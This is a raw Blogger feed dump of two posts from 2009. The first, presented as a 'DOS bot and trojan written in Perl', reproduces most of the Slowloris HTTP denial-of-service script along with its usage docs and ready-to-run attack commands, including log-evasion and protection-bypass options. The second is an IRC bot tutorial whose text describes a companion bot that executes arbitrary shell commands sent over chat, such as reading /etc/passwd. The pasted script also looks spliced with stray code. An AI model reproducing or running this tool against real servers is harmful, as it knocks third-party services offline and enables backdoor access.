CooCoCoooCCCO8\@88\@8888888OOO888888888888888888OOOOCCCooooooooCCOOO8888888Cocooc:&lt;br /&gt;  ooooooCoCCC88\@88888\@888OO8888888888888888O8O8888OOCCCooooccccccCOOOO88\@888OCoccc&lt;br /&gt;  ooooCCOO8O888888888\@88O8OO88888OO888O8888OOOO88888OCocoococ::ccooCOO8O888888Cooo&lt;br /&gt;  oCCCCCCO8OOOCCCOO88\@88OOOOOO8888O888OOOOOCOO88888O8OOOCooCocc:::coCOOO888888OOCC&lt;br /&gt;  oCCCCCOOO88OCooCO88\@8OOOOOO88O888888OOCCCCoCOOO8888OOOOOOOCoc::::coCOOOO888O88OC&lt;br /&gt;  oCCCCOO88OOCCCCOO8\@\@8OOCOOOOO8888888OoocccccoCO8O8OO88OOOOOCc.:ccooCCOOOO88888OO&lt;br /&gt;  CCCOOOO88OOCCOOO8\@888OOCCoooCOO8888Ooc::...::coOO88888O888OOo:cocooCCCCOOOOOO88O&lt;br /&gt;  CCCOO88888OOCOO8\@\@888OCcc:::cCOO888Oc..... ....cCOOOOOOOOOOOc.:cooooCCCOOOOOOOOO&lt;br /&gt;  OOOOOO88888OOOO8\@8\@8Ooc:.:...cOO8O88c.      .  .coOOO888OOOOCoooooccoCOOOOOCOOOO&lt;br /&gt;  OOOOO888\@8\@88888888Oo:. .  ...cO888Oc..          :oOOOOOOOOOCCoocooCoCoCOOOOOOOO&lt;br /&gt;  COOO888\@88888888888Oo:.       .O8888C:  .oCOo.  ...cCCCOOOoooooocccooooooooCCCOO&lt;br /&gt;  CCCCOO888888O888888Oo. .o8Oo. .cO88Oo:       :. .:..ccoCCCooCooccooccccoooooCCCC&lt;br /&gt;  coooCCO8\@88OO8O888Oo:::... ..  :cO8Oc. . .....  :.  .:ccCoooooccoooocccccooooCCC&lt;br /&gt;  :ccooooCO888OOOO8OOc..:...::. .co8\@8Coc::..  ....  ..:cooCooooccccc::::ccooCCooC&lt;br /&gt;  .:::coocccoO8OOOOOOC:..::....coCO8\@8OOCCOc:...  ....:ccoooocccc:::::::::cooooooC&lt;br /&gt;  ....::::ccccoCCOOOOOCc......:oCO8\@8\@88OCCCoccccc::c::.:oCcc:::cccc:..::::coooooo&lt;br /&gt;  .......::::::::cCCCCCCoocc:cO888\@8888OOOOCOOOCoocc::.:cocc::cc:::...:::coocccccc&lt;br /&gt;  ...........:::..:coCCCCCCCO88OOOO8OOOCCooCCCooccc::::ccc::::::.......:ccocccc:co&lt;br /&gt;  .............::....:oCCoooooCOOCCOCCCoccococc:::::coc::::....... ...:::cccc:cooo&lt;br /&gt;   ..... ............. .coocoooCCoco:::ccccccc:::ccc::..........  ....:::cc::::coC&lt;br /&gt;     .  . ...    .... ..  .:cccoCooc:..  ::cccc:::c:.. ......... ......::::c:cccco&lt;br /&gt;    .  .. ... ..    .. ..   ..:...:cooc::cccccc:.....  .........  .....:::::ccoocc&lt;br /&gt;         .   .         .. ..::cccc:.::ccoocc:. ........... ..  . ..:::.:::::::ccco&lt;br /&gt;   Welcome to Slowloris - the low bandwidth, yet greedy and poisonous HTTP client&lt;br /&gt;  &lt;br /&gt;EOTEXT&lt;br /&gt;  &lt;br /&gt;  my ( $host, $port, $sendhost, $shost, $test, $version, $timeout, $connections );&lt;br /&gt;  my ( $cache, $httpready, $method, $ssl, $rand, $tcpto );&lt;br /&gt;  my $result = GetOptions(&lt;br /&gt;      'shost=s'   =&gt; \$shost,&lt;br /&gt;      'dns=s'     =&gt; \$host,&lt;br /&gt;      'httpready' =&gt; \$httpready,&lt;br /&gt;      'num=i'     =&gt; \$connections,&lt;br /&gt;      'cache'     =&gt; \$cache,&lt;br /&gt;      'port=i'    =&gt; \$port,&lt;br /&gt;      'https'     =&gt; \$ssl,&lt;br /&gt;      'tcpto=i'   =&gt; \$tcpto,&lt;br /&gt;      'test'      =&gt; \$test,&lt;br /&gt;      'timeout=i' =&gt; \$timeout,&lt;br /&gt;      'version'   =&gt; \$version,&lt;br /&gt;  );&lt;br /&gt;  &lt;br /&gt;  if ($version) {&lt;br /&gt;      print "Version 0.7\n";&lt;br /&gt;      exit;&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  unless ($dnspick) {&lt;br /&gt;      print "Usage:\n\n\tperl $0 -dns [www.example.com] -options\n";&lt;br /&gt;      print "\n\tType 'perldoc $0' for help with options.\n\n";&lt;br /&gt;      exit;&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  unless ($port) {&lt;br /&gt;      $port = 80;&lt;br /&gt;      print "Defaulting to port 80.\n";&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  unless ($tcpto) {&lt;br /&gt;      $tcpto = 5;&lt;br /&gt;      print "Defaulting to a 5 second tcp connection timeout.\n";&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  unless ($test) {&lt;br /&gt;      unless ($timeout) {&lt;br /&gt;          $timeout = 240;&lt;br /&gt;          print "Defaulting to a 100 second re-try timeout.\n";&lt;br /&gt;      }&lt;br /&gt;      unless ($connections) {&lt;br /&gt;          $connections = 1000;&lt;br /&gt;          print "Defaulting to 1000 connections.\n";&lt;br /&gt;      }&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  my $usemultithreading = 0;&lt;br /&gt;  if ( $Config{usethreads} ) {&lt;br /&gt;      print "Multithreading enabled.\n";&lt;br /&gt;      $usemultithreading = 1;&lt;br /&gt;      use threads;&lt;br /&gt;      use threads::shared;&lt;br /&gt;  }&lt;br /&gt;  else {&lt;br /&gt;      print "No multithreading capabilites found!\n";&lt;br /&gt;      print "Slowloris will be slower than normal as a result.\n";&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  my $packetcount : shared     = 0;&lt;br /&gt;  my $failed : shared          = 0;&lt;br /&gt;  my $connectioncount : shared = 0;&lt;br /&gt;  &lt;br /&gt;  srand() if ($cache);&lt;br /&gt;  &lt;br /&gt;  if ($shost) {&lt;br /&gt;      $sendhost = $shost;&lt;br /&gt;  }&lt;br /&gt;  else {&lt;br /&gt;      $sendhost = $dnspick;&lt;br /&gt;  }&lt;br /&gt;  if ($httpready) {&lt;br /&gt;      $method = "POST";&lt;br /&gt;  }&lt;br /&gt;  else {&lt;br /&gt;      $method = "GET";&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  if ($test) {&lt;br /&gt;      my @times = ( "2", "30", "90", "240", "500" );&lt;br /&gt;      my $totaltime = 0;&lt;br /&gt;      foreach (@times) {&lt;br /&gt;          $totaltime = $totaltime + $_;&lt;br /&gt;      }&lt;br /&gt;      $totaltime = $totaltime / 60;&lt;br /&gt;      print "This test could take up to $totaltime minutes.\n";&lt;br /&gt;  &lt;br /&gt;      my $delay   = 0;&lt;br /&gt;      my $working = 0;&lt;br /&gt;      my $sock;&lt;br /&gt;  &lt;br /&gt;      if ($ssl) {&lt;br /&gt;          if (&lt;br /&gt;              $sock = new IO::Socket::SSL(&lt;br /&gt;                  PeerAddr =&gt; "$dnspick",&lt;br /&gt;                  PeerPort =&gt; "$port",&lt;br /&gt;                  Timeout  =&gt; "$tcpto",&lt;br /&gt;                  Proto    =&gt; "tcp",&lt;br /&gt;              )&lt;br /&gt;            )&lt;br /&gt;          {&lt;br /&gt;              $working = 1;&lt;br /&gt;          }&lt;br /&gt;      }&lt;br /&gt;      else {&lt;br /&gt;          if (&lt;br /&gt;              $sock = new IO::Socket::INET(&lt;br /&gt;                  PeerAddr =&gt; "$dnspick",&lt;br /&gt;                  PeerPort =&gt; "$port",&lt;br /&gt;                  Timeout  =&gt; "$tcpto",&lt;br /&gt;                  Proto    =&gt; "tcp",&lt;br /&gt;              )&lt;br /&gt;            )&lt;br /&gt;          {&lt;br /&gt;              $working = 1;&lt;br /&gt;          }&lt;br /&gt;      }&lt;br /&gt;      if ($working) {&lt;br /&gt;          if ($cache) {&lt;br /&gt;              $rand = "?" . int( rand(99999999999999) );&lt;br /&gt;          }&lt;br /&gt;          else {&lt;br /&gt;              $rand = "";&lt;br /&gt;          }&lt;br /&gt;          my $primarypayload =&lt;br /&gt;              "GET /$rand HTTP/1.1\r\n"&lt;br /&gt;            . "Host: $sendhost\r\n"&lt;br /&gt;            . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"&lt;br /&gt;            . "Content-Length: 42\r\n";&lt;br /&gt;          if ( print $sock $primarypayload ) {&lt;br /&gt;              print "Connection successful, now comes the waiting game...\n";&lt;br /&gt;          }&lt;br /&gt;          else {&lt;br /&gt;              print&lt;br /&gt;  "That's odd - I connected but couldn't send the data to $dnspick:$port.\n";&lt;br /&gt;              print "Is something wrong?\nDying.\n";&lt;br /&gt;              exit;&lt;br /&gt;          }&lt;br /&gt;      }&lt;br /&gt;      else {&lt;br /&gt;          print "Uhm... I can't connect to $dnspick:$port.\n";&lt;br /&gt;          print "Is something wrong?\nDying.\n";&lt;br /&gt;          exit;&lt;br /&gt;      }&lt;br /&gt;      for ( my $i = 0 ; $i &lt;= $#times ; $i++ ) {&lt;br /&gt;          print "Trying a $times[$i] second delay: \n";&lt;br /&gt;          sleep( $times[$i] );&lt;br /&gt;          if ( print $sock "X-a: b\r\n" ) {&lt;br /&gt;              print "\tWorked.\n";&lt;br /&gt;              $delay = $times[$i];&lt;br /&gt;          }&lt;br /&gt;          else {&lt;br /&gt;              if ( $SIG{__WARN__} ) {&lt;br /&gt;                  $delay = $times[ $i - 1 ];&lt;br /&gt;                  last;&lt;br /&gt;              }&lt;br /&gt;              print "\tFailed after $times[$i] seconds.\n";&lt;br /&gt;          }&lt;br /&gt;      }&lt;br /&gt;  &lt;br /&gt;      if ( print $sock "Connection: Close\r\n\r\n" ) {&lt;br /&gt;          print "Okay that's enough time. Slowloris closed the socket.\n";&lt;br /&gt;          print "Use $delay seconds for -timeout.\n";&lt;br /&gt;          exit;&lt;br /&gt;      }&lt;br /&gt;      else {&lt;br /&gt;          print "Remote server closed socket.\n";&lt;br /&gt;          print "Use $delay seconds for -timeout.\n";&lt;br /&gt;          exit;&lt;br /&gt;      }&lt;br /&gt;      if ( $delay &lt; 166 ) {&lt;br /&gt;          print &lt;&lt;EOSUCKS2BU;&lt;br /&gt;  Since the timeout ended up being so small ($delay seconds) and it generally &lt;br /&gt;  takes between 200-500 threads for most servers and assuming any latency at &lt;br /&gt;  all...  you might have trouble using Slowloris against this target.  You can &lt;br /&gt;  tweak the -tcpto flag down to 1 second but it still may not build the sockets &lt;br /&gt;  in time.&lt;br /&gt;EOSUCKS2BU&lt;br /&gt;      }&lt;br /&gt;  }&lt;br /&gt;  else {&lt;br /&gt;      print&lt;br /&gt;  "Connecting to $dnspick:$port every $timeout seconds with $connections sockets:\n";&lt;br /&gt;  &lt;br /&gt;      if ($usemultithreading) {&lt;br /&gt;          domultithreading($connections);&lt;br /&gt;      }&lt;br /&gt;      else {&lt;br /&gt;          doconnections( $connections, $usemultithreading );&lt;br /&gt;      }&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  sub doconnections {&lt;br /&gt;      my ( $num, $usemultithreading ) = @_;&lt;br /&gt;      my ( @first, @sock, @working );&lt;br /&gt;      my $failedconnections = 0;&lt;br /&gt;      $working[$_] = 0 foreach ( 1 .. $num );    #initializing&lt;br /&gt;      $first[$_]   = 0 foreach ( 1 .. $num );    #initializing&lt;br /&gt;      while (1) {&lt;br /&gt;          $failedconnections = 0;&lt;br /&gt;          print "\t\tBuilding sockets.\n";&lt;br /&gt;          foreach my $z ( 1 .. $num ) {&lt;br /&gt;              if ( $working[$z] == 0 ) {&lt;br /&gt;                  if ($ssl) {&lt;br /&gt;                      if (&lt;br /&gt;                          $sock[$z] = new IO::Socket::SSL(&lt;br /&gt;                              PeerAddr =&gt; "$dnspick",&lt;br /&gt;                              PeerPort =&gt; "$port",&lt;br /&gt;                              Timeout  =&gt; "$tcpto",&lt;br /&gt;                              Proto    =&gt; "tcp",&lt;br /&gt;                          )&lt;br /&gt;                        )&lt;br /&gt;                      {&lt;br /&gt;                          $working[$z] = 1;&lt;br /&gt;                      }&lt;br /&gt;                      else {&lt;br /&gt;                          $working[$z] = 0;&lt;br /&gt;                      }&lt;br /&gt;                  }&lt;br /&gt;                  else {&lt;br /&gt;                      if (&lt;br /&gt;                          $sock[$z] = new IO::Socket::INET(&lt;br /&gt;                              PeerAddr =&gt; "$dnspick",&lt;br /&gt;                              PeerPort =&gt; "$port",&lt;br /&gt;                              Timeout  =&gt; "$tcpto",&lt;br /&gt;                              Proto    =&gt; "tcp",&lt;br /&gt;                          )&lt;br /&gt;                        )&lt;br /&gt;                      {&lt;br /&gt;                          $working[$z] = 1;&lt;br /&gt;                          $packetcount = $packetcount + 3;  #SYN, SYN+ACK, ACK&lt;br /&gt;                      }&lt;br /&gt;                      else {&lt;br /&gt;                          $working[$z] = 0;&lt;br /&gt;                      }&lt;br /&gt;                  }&lt;br /&gt;                  if ( $working[$z] == 1 ) {&lt;br /&gt;                      if ($cache) {&lt;br /&gt;                          $rand = "?" . int( rand(99999999999999) );&lt;br /&gt;                      }&lt;br /&gt;                      else {&lt;br /&gt;                          $rand = "";&lt;br /&gt;                      }&lt;br /&gt;                      my $primarypayload =&lt;br /&gt;                          "$method /$rand HTTP/1.1\r\n"&lt;br /&gt;                        . "Host: $sendhost\r\n"&lt;br /&gt;                        . "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n"&lt;br /&gt;                        . "Content-Length: 42\r\n";&lt;br /&gt;                      my $handle = $sock[$z];&lt;br /&gt;                      if ($handle) {&lt;br /&gt;                          print $handle "$primarypayload";&lt;br /&gt;                          if ( $SIG{__WARN__} ) {&lt;br /&gt;                              $working[$z] = 0;&lt;br /&gt;                              close $handle;&lt;br /&gt;                              $failed++;&lt;br /&gt;                              $failedconnections++;&lt;br /&gt;                          }&lt;br /&gt;                          else {&lt;br /&gt;                              $packetcount++;&lt;br /&gt;                              $working[$z] = 1;&lt;br /&gt;                          }&lt;br /&gt;                      }&lt;br /&gt;                      else {&lt;br /&gt;                          $working[$z] = 0;&lt;br /&gt;                          $failed++;&lt;br /&gt;                          $failedconnections++;&lt;br /&gt;                      }&lt;br /&gt;                  }&lt;br /&gt;                  else {&lt;br /&gt;                      $working[$z] = 0;&lt;br /&gt;                      $failed++;&lt;br /&gt;                      $failedconnections++;&lt;br /&gt;                  }&lt;br /&gt;              }&lt;br /&gt;          }&lt;br /&gt;          print "\t\tSending data.\n";&lt;br /&gt;          foreach my $z ( 1 .. $num ) {&lt;br /&gt;              if ( $working[$z] == 1 ) {&lt;br /&gt;                  if ( $sock[$z] ) {&lt;br /&gt;                      my $handle = $sock[$z];&lt;br /&gt;                      if ( print $handle "X-a: b\r\n" ) {&lt;br /&gt;                          $working[$z] = 1;&lt;br /&gt;                          $packetcount++;&lt;br /&gt;                      }&lt;br /&gt;                      else {&lt;br /&gt;                          $working[$z] = 0;&lt;br /&gt;                          #debugging info&lt;br /&gt;                          $failed++;&lt;br /&gt;                          $failedconnections++;&lt;br /&gt;                      }&lt;br /&gt;                  }&lt;br /&gt;                  else {&lt;br /&gt;                      $working[$z] = 0;&lt;br /&gt;                      #debugging info&lt;br /&gt;                      $failed++;&lt;br /&gt;                      $failedconnections++;&lt;br /&gt;                  }&lt;br /&gt;              }&lt;br /&gt;          }&lt;br /&gt;          print&lt;br /&gt;  "Current stats:\tSlowloris has now sent $packetcount packets successfully.\nThis thread now sleeping for $timeout seconds...\n\n";&lt;br /&gt;          sleep($timeout);&lt;br /&gt;      }&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;  sub domultithreading {&lt;br /&gt;      my ($num) = @_;&lt;br /&gt;      my @thrs;&lt;br /&gt;      my $i                    = 0;&lt;br /&gt;      my $connectionsperthread = 50;&lt;br /&gt;      while ( $i &lt; $num ) {&lt;br /&gt;          $thrs[$i] =&lt;br /&gt;            threads-&gt;create( \&amp;doconnections, $connectionsperthread, 1 );&lt;br /&gt;          $i += $connectionsperthread;&lt;br /&gt;      }&lt;br /&gt;      my @threadslist = threads-&gt;list();&lt;br /&gt;      while ( $#threadslist &gt; 0 ) {&lt;br /&gt;          $failed = 0;&lt;br /&gt;      }&lt;br /&gt;  }&lt;br /&gt;  &lt;br /&gt;        }&lt;br /&gt;&lt;br /&gt;      &lt;br /&gt;    return;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# We registered for all events, this will produce some debug info.&lt;br /&gt;sub _default {&lt;br /&gt;    my ($event, $args) = @_[ARG0 .. $#_];&lt;br /&gt;    my @output = ( "$event: " );&lt;br /&gt;&lt;br /&gt;    for my $arg (@$args) {&lt;br /&gt;        if ( ref $arg eq 'ARRAY' ) {&lt;br /&gt;            push( @output, '[' . join(', ', @$arg ) . ']' );&lt;br /&gt;        }&lt;br /&gt;        else {&lt;br /&gt;            push ( @output, "'$arg'" );&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;    print join ' ', @output, "\n";&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;__END__&lt;br /&gt;  &lt;br /&gt;  =head1 TITLE&lt;br /&gt;  &lt;br /&gt;  Slowloris&lt;br /&gt;  &lt;br /&gt;  =head1 VERSION&lt;br /&gt;  &lt;br /&gt;  Version 0.7 Beta&lt;br /&gt;  &lt;br /&gt;  =head1 DATE&lt;br /&gt;  &lt;br /&gt;  06/17/2009&lt;br /&gt;  &lt;br /&gt;  =head1 AUTHOR&lt;br /&gt;  &lt;br /&gt;  RSnake &lt;h@ckers.org&gt; with threading from John Kinsella&lt;br /&gt;  &lt;br /&gt;  =head1 ABSTRACT&lt;br /&gt;  &lt;br /&gt;  Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ultimately performs a fairly low bandwidth denial of service.  It has the added benefit of allowing the server to come back at any time (once the program is killed), and not spamming the logs excessively.  It also keeps the load nice and low on the target server, so other vital processes don't die unexpectedly, or cause alarm to anyone who is logged into the server for other reasons.&lt;br /&gt;  &lt;br /&gt;  =head1 AFFECTS&lt;br /&gt;  &lt;br /&gt;  Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, Squid, others...?&lt;br /&gt;  &lt;br /&gt;  =head1 NOT AFFECTED&lt;br /&gt;  &lt;br /&gt;  IIS6.0, IIS7.0, lighthttpd, others...?&lt;br /&gt;  &lt;br /&gt;  =head1 DESCRIPTION&lt;br /&gt;  &lt;br /&gt;  Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it's threads as they patiently wait for more data.  Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate for that by customizing the timeouts.  There is an added function to help you get started with finding the right sized timeouts as well.&lt;br /&gt;  &lt;br /&gt;  As a side note, Slowloris does not consume a lot of resources so modern operating systems don't have a need to start shutting down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circumstances.  Think of Slowloris as the HTTP equivalent of a SYN flood.&lt;br /&gt;  &lt;br /&gt;  =head2 Testing&lt;br /&gt;  &lt;br /&gt;  If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:&lt;br /&gt;  &lt;br /&gt;  =head3 Testing Example:&lt;br /&gt;  &lt;br /&gt;  ./slowloris.pl -dns www.example.com -port 80 -test&lt;br /&gt;  &lt;br /&gt;  This won't give you a perfect number, but it should give you a pretty good guess as to where to shoot for.  If you really must know the exact number, you may want to mess with the @times array (although I wouldn't suggest that unless you know what you're doing).&lt;br /&gt;  &lt;br /&gt;  =head2 HTTP DoS&lt;br /&gt;  &lt;br /&gt;  Once you find a timeout window, you can tune Slowloris to use certain timeout windows.  For instance, if you know that the server has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and increase the TCP timeout to 5 seconds.  The following example uses 500 sockets.  Most average Apache servers, for instance, tend to fall down between 400-600 sockets with a default configuration.  Some are less than 300.  The smaller the timeout the faster you will consume all the available resources as other sockets that are in use become available - this would be solved by threading, but that's for a future revision.  The closer you can get to the exact number of sockets, the better, because that will reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful.  Slowloris has no way to identify if it's successful or not though.&lt;br /&gt;  &lt;br /&gt;  =head3 HTTP DoS Example:&lt;br /&gt;  &lt;br /&gt;  ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5&lt;br /&gt;  &lt;br /&gt;  =head2 HTTPReady Bypass&lt;br /&gt;  &lt;br /&gt;  HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET or HEAD request with the -httpready switch. &lt;br /&gt;  &lt;br /&gt;  =head3 HTTPReady Bypass Example&lt;br /&gt;  &lt;br /&gt;  ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready&lt;br /&gt;  &lt;br /&gt;  =head2 Stealth Host DoS&lt;br /&gt;  &lt;br /&gt;  If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host using the -shost variable.  This way the logs that are created will go to a different virtual host log file, but only if they are kept separately.&lt;br /&gt;  &lt;br /&gt;  =head3 Stealth Host DoS Example:&lt;br /&gt;  &lt;br /&gt;  ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com&lt;br /&gt;  &lt;br /&gt;  =head2 HTTPS DoS&lt;br /&gt;  &lt;br /&gt;  Slowloris does support SSL/TLS on an experimental basis with the -https switch.  The usefulness of this particular option has not been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the early phases of development.  Your mileage may vary.&lt;br /&gt;  &lt;br /&gt;  =head3 HTTPS DoS Example:&lt;br /&gt;  &lt;br /&gt;  ./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https&lt;br /&gt;  &lt;br /&gt;  =head2 HTTP Cache&lt;br /&gt;  &lt;br /&gt;  Slowloris does support cache avoidance on an experimental basis with the -cache switch.  Some caching servers may look at the request path part of the header, but by sending different requests each time you can abuse more resources.  The usefulness of this particular option has not been thoroughly tested.  Your mileage may vary.&lt;br /&gt;  &lt;br /&gt;  =head3 HTTP Cache Example:&lt;br /&gt;  &lt;br /&gt;  ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache&lt;br /&gt;  &lt;br /&gt;  =head1 Issues&lt;br /&gt;  &lt;br /&gt;  Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it's current incarnation.  They may be ways around this, but not in this version at this time.  Most likely most anti-DDoS and load balancers won't be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested. &lt;br /&gt;  &lt;br /&gt;  Slowloris isn't completely quiet either, because it can't be.  Firstly, it does send out quite a few packets (although far far less than a typical GET request flooder).  So it's not invisible if the traffic to the site is typically fairly low.  On higher traffic sites it will unlikely that it is noticed in the log files - although you may have trouble taking down a larger site with just one machine, depending on their architecture.&lt;br /&gt;  &lt;br /&gt;  For some reason Slowloris works way better if run from a *Nix box than from Windows.  I would guess that it's probably to do with the fact that Windows limits the amount of open sockets you can have at once to a fairly small number.  If you find that you can't open any more ports than ~130 or so on any server you test - you're probably running into this "feature" of modern operating systems.  Either way, this program seems to work best if run from FreeBSD.  &lt;br /&gt;  &lt;br /&gt;  Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or proxy server will write to it's logs with a lot of 400 (Bad Request) errors.  So while the sockets remain open, you won't be in the logs, but once the sockets close you'll have quite a few entries all lined up next to one another.  You will probably be easy to find if anyone is looking at their logs at that point - although the DoS will be over by that point too.&lt;br /&gt;  &lt;br /&gt;  =head1 What is a slow loris?&lt;br /&gt;  &lt;br /&gt;  What exactly is a slow loris?  It's an extremely cute but endangered mammal that happens to also be poisonous.  Check this out:&lt;br /&gt;  &lt;br /&gt;  http://www.youtube.com/watch?v=rLdQ3UhLoD4&lt;br /&gt;  &lt;br /&gt;  # milw0rm.com [2009-06-17]&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5421737826262689943-4217887856898556905?l=bsdpunk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bsdpunk.blogspot.com/feeds/4217887856898556905/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5421737826262689943&amp;postID=4217887856898556905' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4217887856898556905'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5421737826262689943/posts/default/4217887856898556905'/><link rel='alternate' type='text/html' href='http://bsdpunk.blogspot.com/2009/07/dos-bot-and-trojan-written-in-perl.html' title='DOS bot and trojan written in perl featuring slow loris.'/><author><name>bsdpunk</name><uri>http://www.blogger.com/profile/06258196696230870045</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_POMszDp5NQM/Sx7HPCUOqFI/AAAAAAAAAEU/lQDtMGima8U/S220/Photo+on+2009-09-03+at+17.10.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5421737826262689943.post-6520364613743779579</id><published>2009-07-08T21:58:00.000-07:00</published><updated>2009-07-08T22:09:10.843-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='irc'/><category scheme='http://www.blogger.com/atom/ns#' term='internal ip'/><category scheme='http://www.blogger.com/atom/ns#' term='ip addresses'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='bot'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='server load'/><category scheme='http://www.blogger.com/atom/ns#' term='hacker culture'/><category scheme='http://www.blogger.com/atom/ns#' term='external ip'/><title type='text'>Perl Tutorial on Setting up a server monitoring bot.</title><content type='html'>There are two bot's both are based off the example on the example from the cpan page for POE::Component::IRC. The first is made to show your servers to load, external, and internal IP addresses(Using the Commands: load, ipadd, and exadd). The second one is more mischevious and runs any command you wish on the server by saying in the private channel the word system and then the command as in:system cat /etc/passwd . The second one can also run the slow loris DOS attack which affects versions of apache below 2.2.8 and some versions of squid proxy server. This DOS attack can take down small servers with only one machine running them, the second bot will not be revealed in this post but the next post. They both sign in to a password protected channel, however be aware that password is stored within the perl file which by it's nature makes it insecure. There are plans to add a diffrent authentication method in the future. &lt;br /&gt;&lt;br /&gt;sudo cpan&lt;br /&gt;at cpan shell:&lt;br /&gt;install POE::Component::IRC&lt;br /&gt;&lt;br /&gt;NOTE: This install from cpan did not work in my out of the box Fedora installation(and I did not have time to troubleshoot because I am trying to get this out so I can work on music until I get my new album out.), However it worked fine on both my Cent0S install and my Mac install.&lt;br /&gt;&lt;br /&gt;It may ask you if you want to install dependencies and you do(it may ask more than once). It may also ask you to run tests, choose yes. This may take a while.&lt;br /&gt;&lt;br /&gt;If you do not have cpan, install, install via yum or apt-get.&lt;br /&gt;ie yum install cpan or apt-get install cpan&lt;br /&gt;&lt;br /&gt;If you have not run cpan before you will need to set it up. That is beyond the scope of this post, however you tend to be ok with defaults.&lt;br /&gt;&lt;br /&gt;After that while still in the cpan shell:&lt;br /&gt;install LWP::Simple&lt;br /&gt;&lt;br /&gt;It's a library in perl for pulling down webpages, the bot will use it to find your external ip.&lt;br /&gt;&lt;br /&gt;Now copy or download the script to file. I did:&lt;br /&gt;vi filename.pl&lt;br /&gt;Then I hit the letter i&lt;br /&gt;then I pasted the file&lt;br /&gt;&lt;br /&gt;***Note, you will need to change $channel, $password, and $server, to your server channel and password. Otherwise you will end up on my server ^.^**&lt;br /&gt;&lt;br /&gt;For linux(CentOS, cmds may vary) use:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;use strict;&lt;br /&gt;use warnings;&lt;br /&gt;use POE qw(Component::IRC);&lt;br /&gt;use LWP::Simple;&lt;br /&gt;&lt;br /&gt;my $nickname = 'PoeIrcBot' . $$;&lt;br /&gt;my $ircname = 'PoeIrcServerBot';&lt;br /&gt;my $server = 'irc.malvager.com';&lt;br /&gt;my $channel = "#channel";&lt;br /&gt;my $password = "password";&lt;br /&gt;&lt;br /&gt;my @channels = ('');&lt;br /&gt;&lt;br /&gt;# We create a new PoCo-IRC object&lt;br /&gt;my $irc = POE::Component::IRC-&gt;spawn( &lt;br /&gt;   nick =&gt; $nickname,&lt;br /&gt;   ircname =&gt; $ircname,&lt;br /&gt;   server =&gt; $server,&lt;br /&gt;) or die "Oh noooo! $!";&lt;br /&gt;&lt;br /&gt;POE::Session-&gt;create(&lt;br /&gt;    package_states =&gt; [&lt;br /&gt;        main =&gt; [ qw(_default _start irc_001 irc_public) ],&lt;br /&gt;    ],&lt;br /&gt;    heap =&gt; { irc =&gt; $irc },&lt;br /&gt;);&lt;br /&gt;&lt;br /&gt;$poe_kernel-&gt;run();&lt;br /&gt;&lt;br /&gt;sub _start {&lt;br /&gt;    my $heap = $_[HEAP];&lt;br /&gt;&lt;br /&gt;    # retrieve our component's object from the heap where we stashed it&lt;br /&gt;    my $irc = $heap-&gt;{irc};&lt;br /&gt;&lt;br /&gt;    $irc-&gt;yield( register =&gt; 'all' );&lt;br 